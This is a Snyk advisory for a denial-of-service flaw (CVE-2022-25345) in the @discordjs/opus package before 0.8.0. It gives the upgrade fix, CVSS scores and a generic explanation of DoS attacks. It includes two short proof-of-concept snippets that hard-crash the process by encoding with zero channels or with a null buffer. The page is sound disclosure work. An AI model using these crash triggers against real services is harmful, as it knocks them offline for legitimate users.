Denial of Service (DoS)

Affecting @discordjs/opus package, versions <0.8.0

INTRODUCED: 16 FEB 2022 CVE-2022-25345 CWE-400 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `@discordjs/opus` to version 0.8.0 or higher.

Overview

@discordjs/opus is a native bindings to libopus.

Affected versions of this package are vulnerable to Denial of Service (DoS) when trying to encode using an encoder with zero channels, or a non-initialized buffer. This leads to a hard crash.

PoC

// Zero channels:

```
const { OpusEncoder } =
require('@discordjs/opus'); const encoder = new
OpusEncoder(48000, 0); try { const encoded =
encoder.encode(Buffer.from("aaa")); } catch(e) {
console.log("This will never run") // never
executed because of the hard crash }
```

7.5

HIGH

Snyk CVSS

Exploit Maturity **Proof of concept**

Attack Complexity **Low**

Availability HIGH

See more

NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what

components are vulnerable in your application, and suggest you quick fixes

// Non-initialized buffer:

```
const { OpusEncoder } =
require('@discordjs/opus'); const encoder = new
OpusEncoder(48000, 2); try { const encoded =
encoder.encode(null); } catch(e) { // never
executed because of the hard crash }
```

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

References

- Github Commit
- GitHub Issues
- Github PR
- Vulnerable Code

Snyk ID	SNYK-JS-DISCORDJSOPUS-2403100
Published	16 Jun 2022
Disclosed	16 Feb 2022
Credit	Cristian-Alexandru Staicu

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT